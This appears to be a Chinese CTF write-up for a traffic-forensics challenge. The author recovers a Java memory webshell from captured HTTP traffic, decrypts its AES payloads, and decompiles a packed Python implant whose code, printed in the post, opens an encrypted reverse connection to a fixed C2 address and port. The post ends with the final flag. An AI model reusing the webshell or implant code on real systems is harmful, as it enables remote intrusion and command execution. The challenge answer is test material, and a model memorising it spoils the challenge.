2026软件系统安全赛初赛 ttaffic_hunt 超详细题解

导出http 发现一个奇怪的application
image
保存,拖进cyberchef,发现是java class文件
image
保存,拖进VScode进行反编译
image

public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String Pwd = "eac9fa38330a7535"; // AES加密密钥/密码
public String path = "/favicondemo.ico"; // 内存马绑定的虚拟URL路径

我们要去重点关注POST /favicondemo.ico
那怎么解密呢?

this.Pwd = md5(this.request.getHeader("p"));
try {
         MessageDigest m = MessageDigest.getInstance("MD5");
         m.update(s.getBytes(), 0, s.length());
         ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
      } catch (Exception var3) {
      }
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
c.doFinal(this.base64Decode(req.getReader().readLine()));

image
然后取HWmc2TLDoihdlr0N的md5的前十六位:1f2c8075acd3d118 这就是AES-EBC密码
image
旧得到很多java class文件
写一个调用 tshark 过滤出攻击流量 -> 提取请求体 -> Base64 解码 -> AES 解密 -> 保存为 java.class的脚本
查阅资料:
在 Java 中,当你在代码里写下一段硬编码的字符串时,比如:

String cmd = "cat /flag.txt";

这段代码被编译成 .class 字节码后,字符串 "cat /flag.txt" 会被存储在 Class 文件的常量池(Constant Pool)中。 当程序需要用到这个字符串时,底层的 JVM 字节码指令使用 ldc (Load Constant) 将它从常量池推送到操作数栈上。
Java 自带的字节码反汇编工具 javap -c 在输出时,为了方便人类阅读,会在 ldc 指令后面加上注释,直接把字符串的值打印出来
因此,我们可以写一个脚本,提取string
得到结果 我们会发现很奇怪的命令:

cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=

写个脚本,恢复out文件,得到一个upx加固的pyinstaller打包文件
upx-d 然后在线反编译
得到脚本:

import os
import socket
import struct
import subprocess
import argparse
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

SERVER_LISTEN_IP = '10.1.243.155'
SERVER_LISTEN_PORT = 7788
IMPLANT_CONNECT_IP = '10.1.243.155'
IMPLANT_CONNECT_PORT = 7788
SERVER_LISTEN_NUM = 20

_aesgcm = None

def set_aes_key(key_b64=None):
    global _aesgcm
    key = base64.b64decode(key_b64)
    if len(key) not in (16, 24, 32):
        raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节(对应 128, 192, 256 位)')
    _aesgcm = AESGCM(key)

def encrypt_data(data=None):
    if _aesgcm is None:
        raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()')
    nonce = os.urandom(12)
    ciphertext = _aesgcm.encrypt(nonce, data, None)
    return nonce + ciphertext

def decrypt_data(encrypted_data=None):
    if _aesgcm is None:
        raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()')
    if len(encrypted_data) < 28:
        raise ValueError('加密数据太短,无法包含 nonce 和认证标签')
    nonce = encrypted_data[:12]
    ciphertext_with_tag = encrypted_data[12:]
    plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None)
    return plaintext

def exec_cmd(command, code_flag):
    command = command.decode('utf-8')
    pass

def send_data(conn, data):
    if isinstance(data, str):
        data = data.encode('utf-8')
    encrypted_data = encrypt_data(data)
    cmd_len = struct.pack('i', len(encrypted_data))
    conn.send(cmd_len)
    conn.send(encrypted_data)

def recv_data(sock, buf_size=1024):
    x = sock.recv(4)
    if not x:
        return None
    all_size = struct.unpack('i', x)[0]
    recv_size = 0
    encrypted_data = b''
    while recv_size < all_size:
        chunk = sock.recv(buf_size)
        if not chunk:
            break
        encrypted_data += chunk
        recv_size += len(chunk)
    data = decrypt_data(encrypted_data)
    return data

def main():
    sock = socket.socket()
    sock.connect((IMPLANT_CONNECT_IP, IMPLANT_CONNECT_PORT))
    code_flag = 'gbk' if os.name == 'nt' else 'utf-8'
    pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--aes-key', required=True)
    args = parser.parse_args()
    set_aes_key(args.aes_key)
    main()

我们去看7788端口
image
乍一眼看上去乱码 但这里没问题 是一个AES-GCM加密 秘钥就是IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=
解密,得到

'echo
3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi'

base58-base64

dart{d9850b27-85cb-4777-85e0-df0b78fdb722}
posted @ 2026-03-16 19:55  小灰灰400+  阅读(32)  评论(0)    收藏  举报